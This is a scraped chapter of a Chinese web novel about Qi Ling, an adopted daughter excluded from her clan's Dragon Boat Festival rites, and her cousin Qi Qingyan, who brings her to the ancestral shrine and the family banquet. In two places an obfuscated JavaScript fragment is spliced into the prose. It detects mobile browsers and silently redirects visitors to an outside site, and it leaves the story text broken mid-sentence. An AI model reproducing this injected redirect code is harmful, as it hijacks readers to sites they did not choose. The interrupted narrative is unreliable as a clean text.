祁云漱见此翻了个白眼,嗤道:“没出息。” 祁云漪一个小团子从辛夷阁中走了出来,身后跟着玉盘,她乖巧地喊过哥哥姐姐。 “泠妹妹怎么——” 祁雪峤还没问完便被祁云漱打断,她语气颇凶,“祁泠去祭祀做什么?生怕别人不知道二房有她这个祸害吗,又不是祁家人,快走吧。” 祁雪峤说不过姐姐,随着一同走了,不过偶尔还回头望望。 祁云漪一走,室内忽而跟着走了不少人。祁泠望向榻边打盹的银盘,“银盘,你也随着玉盘一同去吧,我记得,祭祀最后家主训话,训完话可要发赏钱的。” 银盘摇摇脑袋,“奴婢留下来陪娘子,才不去呢。” “不必陪我。”祁泠眉眼弯弯,望着她,“你陪着我作甚,今日起得太早,我有些累了,如今歇下小憩片刻就是了,等你回来再叫醒我。” 银盘确实想去,看了看祁泠,她面上并无失落。前几日娘子确实没闲下来,睡一会儿也好,银盘犹豫过后一口答应下来,“那娘子,奴婢快去快回,领到赏银就回来!” “嗯。” 室内安安静静,再无声响,偶尔听得院中侍从脚步声,伴着几句话音。 祁泠坐在妆奁前,默默望着铜镜,镜中女娘梳高髻,略施薄粉,锦衣裙、簪金钗,是士族娘子模样。 她拿起玉梳,缓缓梳着发。 她知道自己身世那日,也是端午。 那时她六岁,也如这几日满心期待过节的祁云漪一般欢喜。早早被冯夫人唤起来,沐浴更衣,戴上五色丝和准备供奉的香囊。 冯夫人牵着她,先去瑞霭堂,那时的老夫人还当着家。 刚到院前,却听得内里已闹翻了天。 “儿媳常听得祁家五代簪缨,不染纤尘,族中男子德行两全,忠君不二,是为良臣,女子贞静自持,清白守德,是为良妇。家族极重门规尺度,今日儿媳在此,敢问母亲二房所行何事,将一娼妓所生、生父不知何人的野种带回家中,当成嫡系的娘子养,祁家脸面何在?清白何在?” 祁泠还听不懂,握紧冯夫人的手,害怕地靠在冯夫人身边。 院中大人们高高在上,刺向她的眼光中有疑惑、惊讶、鄙夷,小小的她尚看不明白,但害怕起其中毫不掩饰的恶意。 见到冯夫人和祁泠已至,她冷冷道:“二房瞒了六年,母亲心软忍得,但儿媳忍无可忍,无法容忍祁家血脉有污,门风不正,请母亲将祁泠赶出祁家。” 往日和善的叔母态度陡然一变,望向她的眼神带着浓重的厌恶,仿若她是什么脏东西。 那些话仿若还萦绕在耳边,高高在上的目光,多年斩不断。 祁泠手持玉梳,从头梢梳到发尾,一下又一下,心中漫起无边孤寂。 …… 天方泛起鱼肚白,晨露微晞,今日祁家人皆聚在祀堂。 待仆从敲击青铜编钟三通,声音层层穿透祀堂,忽而静谧,无一丝声音。 祁家长房祁观颐长不在建业,二房又在江州多年,祭祀一事早早便落到长房嫡孙身上。 今日祁清宴为主祭,着玄端暗纹礼服,玉冠束发,腰间枚繁琐古纹玉佩,手持玉圭立于祀堂前,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583797|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后是祁家各房男子,以及从远处赶来的旁支。祁家妇孺则皆着浅色深衣,候在祀堂的屏风后。 他面无表情,薄唇抿着,漆黑如墨的眸子凝起几分疏离冷漠,抬高玉圭,率领全族向天地四方行拜礼。 “祁氏子孙谨以清酌庶羞,敬荐祖先之灵……” …… 待颂过祭文,祁清宴先捧酒爵到供桌,各房男子依次上前献酒饮。随后当家主母即祁清宴的母亲大夫人慕容氏率女眷向祠堂敬献亲手缝制的香囊、艾虎。 时人敬道,祁家亦请来道士设坛。 直至日光大盛,将近午时,祭祀方结束,族人亦散去,只余主祭与记官。 记官需将祭祀流程写入族谱,汇过今日要事后,他仍跟在祁清宴身后,“郎君,今日色黄润,天澄明,温和而不炽,伴之微风,是为祖宗欣然,家族行事合乎天之意哉。” 书记官说的文绉绉,祁清宴似乎在听,敷衍点头,走向重归沉寂的祀堂。 “不瞒郎君,下臣昨日夜观天象,我族昌盛定来日更胜……”记官乃祁家家臣,负责祭祀观天象之事,今日好不容易见到祁清宴,还是与其独处,此刻神叨叨追着祁清宴说。 “哦?”祁清宴嘴角荡起浅淡弧度,不咸不淡地开口,连目光都吝啬回头停留。 记官自然知道他这是没当回事,身为祁家长房嫡子,家族继承人,如此奉承的话早听得腻了耳朵。 记官压低声音,“昨夜紫微垣划过东南,代表祁家……将出宰辅之臣呐!”说到最后,他激动得嘴唇都发抖。祁家向来不掺合皇族事,若是一朝改变,再出宰辅,乃是能记入族谱的荣誉啊。 祁清宴停下脚步,压抑着激动的记官也随着停下,期待望着祁清宴,等着他接着问。 可祁清宴没什么反应,只似笑非笑:“慎言啊。” 论摊上一个不喜玄学的家主,负责卜卦的家臣有多难。记官停在原地连连叹气,听闻谢家的礼官待遇那叫一个好。不像他,寻常见不到家主,见到了,家主也不乐意信…… 祁清宴步伐悠闲,袖中右手不自觉捻着一条应节的五色丝,正欲走进祀堂,忽见牌位供案前有一鬼鬼祟祟的人影,正在翻着东西。 “是谁?”他扬声厉问。 那人影闻声,清瘦的身形一颤,慢腾腾转过身,抬头映在亮处的是一张俊秀年轻的脸,很快他又垂下头,对祁清宴道:“三堂兄。” 正是祁家二房独子祁雪峤。 祁清宴瞥一眼他背过去的手,又见那一堆等待祭祀过后要发于族人的绣品被翻得乱七八糟,他敛眉斥道:“大家都在前面备家宴,你在这里胡闹什么?” 祁雪峤鲜少见这位兄长,有些畏缩,磕磕绊绊道:“堂兄,我、我来取些东西,这便走了。”他偷偷将香囊塞进袖中,同祁清宴行礼后飞溜出去,险些撞到跟上来的记官。 而祁清宴独站在祀堂中,仍是早晨的位置,望着女眷们送来的绣品。 檀香萦绕之间,他忽而想起,今日缺了个人。 11. 第十一章 祁家的膳厅典雅庄重,布局讲究,长者居上,晚辈在下。 沈老夫人落座最上首,祭祀后便到膳厅中等,听荷为她捶着肩。她半阖着目养神,余光望着下面,来往侍从端着酒水,宴食,秩序井然。 这些事无需老夫人操心,全由大夫人准备。 各房的人逐渐来齐了,老夫人下首的案几却空空荡荡,后面厅柱候着琅玕院的小童,她记得似乎名弦,喊了一声,将他唤来,问:“你们郎君呢?” 小童一板一眼地先给老夫人行了礼,随后摇摇头:“回老夫人,奴也不知。” “真是奇了怪了。”沈老夫人琢磨着,孙子不是没分寸的人,要是外头有事要走,也会派人回来先传个话。莫不是又回去换衣裳了?她吩咐道:“你回琅玕院找找去。” 小童应下,从膳厅来往的侍从中灵活跑了出去。 他要找的人不在琅玕院,反倒在二房。 祁府的侍从或许认不全从江州回来的二房人,但都识得不常归府的祁清宴。除了二房自己从江州带回来的几个知根知底的奴婢,其余皆是从老宅调过去的。 故而,他畅通无阻地来到辛夷阁前。 院前一棵葳蕤辛夷树,绿茵如盖,几许清凉意。可惜辛夷花期一月,早开完落净了。院中几个洒扫丫鬟躲在墙角偷闲,与祁家老宅的规矩严苛不同。 …… 祁泠确实打算睡片刻的,脱去外面披帛,躺下了。不然她该如何打发等待众人归来的空闲时候,忍受漫长的孤寂? 可她睡不熟,身体疲惫,意识却清醒得很。 丫鬟忽而推了门,站在门口探头进来喊,“娘子,娘子!三郎君来了。” 祁泠睁开眼,坐起身来,素手拉开床纱,有些发懵,疑似听岔了,“三郎君?”二房只有一位郎君,三位娘子,无人唤三郎君。又是祭祀时,是谁? 小丫鬟退了几步,没关严门。 有人站在外头,身影被日光拉长,手指轻叩在门板上,先是沉闷木声,随之响起的郎君声音清润,话尾轻扬,“妹妹?” 熟悉的声音突兀砸碎心头的空与静,泛起层层让人无法平静的涟漪来。 祁泠凭着声音,立刻听出来人是谁,她匆匆起身,穿好绣鞋,下了床榻,快步走向门前,一拉开—— 祁清宴便站在门侧。 很近,近到她打开门扉的瞬间,两人仅有半步的距离,她稍稍抬眼,便看清了他。 他往日都是温润又内敛的,广袖长袍,衣饰简单,自带贵气,从无敷粉之好,自然便是濯濯清风的人物。 可今日一身玄衣,加重了身上肃气,他那双长又眼尾微挑的乌润眼眸显得气势凌人,鼻梁挺直,上唇偏薄,似有傲气,不易亲近。 而他带来的檀香萦绕在祁泠鼻尖,祁清宴的面庞在她眼眸中,她难以置信地凝视他,面上露出几分茫然的神情,“堂兄?你怎么在这?” 祁清宴嘴角微微翘起,笑抹去他身上的凌厉,又同往日一般无二了。他也并未遮掩本意,顾左右而言他,反而直接道:“来寻你。” 女娘于是又惊讶住,呆呆地望着他,一双潋滟的眸子只有他的面庞,思绪转不过弯。 “我今日没见到妹妹。”祁清宴解释道。 祁泠猜,他应当知道她的身世,但不知道多年前当众闹出来的丑事。毕竟这对他而言毫无意义,又有何人会碎嘴,同他细说。 她已不会因此难堪,故而算是自然地把话说出来:“堂兄,我只是祁家养女,没有身份去祀堂祭祀,今日才留在二房。” 祁泠说话时别开了目光,祁清宴垂眸望着她。女娘今日精心打扮过,发中系着五色丝,美人浑然天成,清水芙蓉便已绝色,又添脂粉,衬得眉眼更为昳丽。 他问:“我有件事要办,妹妹可愿随我一同?” 他举止总是出乎祁泠意料,无论是此时出现在她门前,还是邀她一同,都让人意外,又拒绝不得。 祁泠顿一下,随后道:“劳烦堂兄稍等我片刻。” 祁清宴自然应允。 祁泠又怎会让他久等?赶忙回到妆奁前,拿起玉梳将发梳正了,穿上披帛,银盘不在,她自己正过衣冠,不失礼便好,几息的功夫就出门了。 “堂兄要去做何事?”眼瞧着是往祁家老宅走,祁泠不禁问道。 “有些东西落在祀堂,其余人都忙着,正巧妹妹与我同去。”祁清宴道。 祁泠知道去何处便放心了,跟在他身侧,人步伐时快时慢,偶尔衣衫交叠,相碰,能闻到他身上的檀香味。 一路来到祀堂。 祁家人都已走了,只余祀堂前几个守卫,见到祁清宴行礼,认不得祁泠,但也很识趣地没询问身份,任由祁清宴将祁泠带了进去。 祁泠记不清祀堂的模样了。唯一的印象是小时候跟在冯夫人身边,周围全是大人,她看不清,只随着跪来跪去,香火的气息浓郁。 祁清宴率先踏入祀堂。 他问:“妹妹,你觉得何为家族?” “家族亲缘相系,荣辱与共,是为宗族。”祁泠停在祀堂的门槛前,向内看去,一排高大的立柱稳稳支撑着祀堂屋脊,祁家先祖牌位皆摆于此,牌位前一条长的供桌,摆满酒水与香烛。 青铜香炉中仍有燃着的香,烟雾袅袅绕于供案前,庄重而神秘。 “妹妹为何不进来?” “我未上族谱。”祁泠道,她没有身份进去,“堂兄,我在此候着便好。” “世家编纂族谱,记录世系姻亲,以正血统,防止寒门冒籍。是为异姓不相为后。” “可妹妹与我同一姓氏,长在祁家,同住祁府,在我看来,妹妹便是祁家的人。” 祁清宴站在中央,恍惚之间祁泠几乎见到了众人都在此处的场景,他是不久后的家主,此刻回头同她道,“来日亦会有上族谱之机。” 祁泠对此并无执念。 她多年前险些被从祁家赶出去,那以后才知生母是歌姬,不知其姓名,不知从何处来,也不知生父为谁。 若不是冯夫人将她带回来,护她长大,她或许早就死了,或许也成了风月楼中一歌姬,或一舞姬。 所以当初听闻卢肇月狎妓时,她退婚的念头才如此强烈。 在卢肇月说出送走或处置那舞姬时,她没有一丝被偏爱的窃意,在某个时刻,她会想,万一她是那舞姬又该如何?故而,她不会后悔退婚。 “堂兄,我自知身份,未曾想过。”祁泠如实道。上了族谱,于她好处居多,但她不愿再生波澜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583798|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祁清宴并未强求,只从旁侧拿出三炷香,走近递给祁泠,道:“端午敬祖,阿泠,你是祁家人,来上香可好?” 祁泠于是接过香,走进祀堂,跪在蒲团上,对着牌位虔诚叩了头。她小时曾多次期盼她真的是祁家的孩子,阖家团圆之日不必被排挤在外。冯夫人养着她,却也不能坏了大规矩。 如今长大,她知晓那些无法改变,仍感念祁家给了她容身之所,庇佑她长大。 手中的香燃起丝丝白烟,如同血脉,将她与偌大的祁家联系起来,在这一瞬,她不再如毫无根系的浮萍。 待她上过香,候在一旁的祁清宴道:“妹妹,伸手。” 时而妹妹,时而阿泠,祁泠听得已然习惯,对他的防备渐渐淡去,闻言伸出手,抬眼望着他。 他拿出袖中五色丝,上面挂着一颗小玉粽,精致可爱。他的手修长又灵活,将五色丝系在她手腕上,三两下打了个精巧的小结。 他笑着说:“父亲不在,便由我当主祭,扮一回家主,尚余一五色丝,正好是妹妹的。” 祁泠垂眼看着五色丝,心中的热流涌动,暖意浸身。她知道这是什么,曾经祁云漱参加完祭祀会向她显摆,这是家主给家中孩子的赐福。 如今,她也有了。 他哪里是有东西要取呢?分明是骗了她来,不独自呆在二房。 “走吧,妹妹,到了用膳的时辰。”祁清宴道。 祁泠点点头,毫无防备与他一同离开,跟着他走,身上也沾染了若有若无的檀香,不稍片刻,只见来往的侍从更多。 她顿住脚,望向不远处热闹的庭院。 祁泠记得这里,祁府的膳厅,她有将近十年未曾到过此处。祁清宴就站在前方一步望着她,目光沉静。 她不知祁清宴要带她来膳厅。 内里如今满是祁家人,是她名义上的亲人,但实际她从未融入这个家,二房给了她一隅存身之地,让她体会到片刻亲情的温暖。 她迎上祁清宴的目光,嘴唇张开,他的眸子像是深潭,太过平静,使得她本脱口而出的话哽在喉间,几欲不能说出。 但事实如此,谁也无法抹去,她说:“堂兄,我不饿,今日恐不能与你一同……” “为何?”祁清宴偏问。 两人接触的时日着实不久,但祁泠已经看出他对事情有一点执着。她只好道:“堂兄,我能留在祁家已然有幸,不愿再出惹事端。” “家宴而已。你在躲避,也在害怕,害怕什么?”祁清宴语气笃定,祁泠却无法回答,无法辩驳。 她确实害怕,害怕如同从前一般,那些讥讽、带着嫌弃的目光。只要一想到那个场景,她又成了一个无处可去的可怜幼兽。 那时的她尚且能哭,心安理得地由冯夫人挡在她身前。可如今祁泠已经长大,她知道冯夫人养她不容易,祁府容她也不容易。 祁泠想要逃跑,往后退了几步,不想打破平静。 而祁清宴上前,伸手握住她手腕,“祁泠,你没做错任何事,既然长在祁家,便是祁家的人,家宴为何不能去?” 祁泠欲将手拽回,他却不容,扣紧她的手腕,不让她有丝毫的退却,声音带着安抚意味,“别怕,祁泠。” “我带你去。”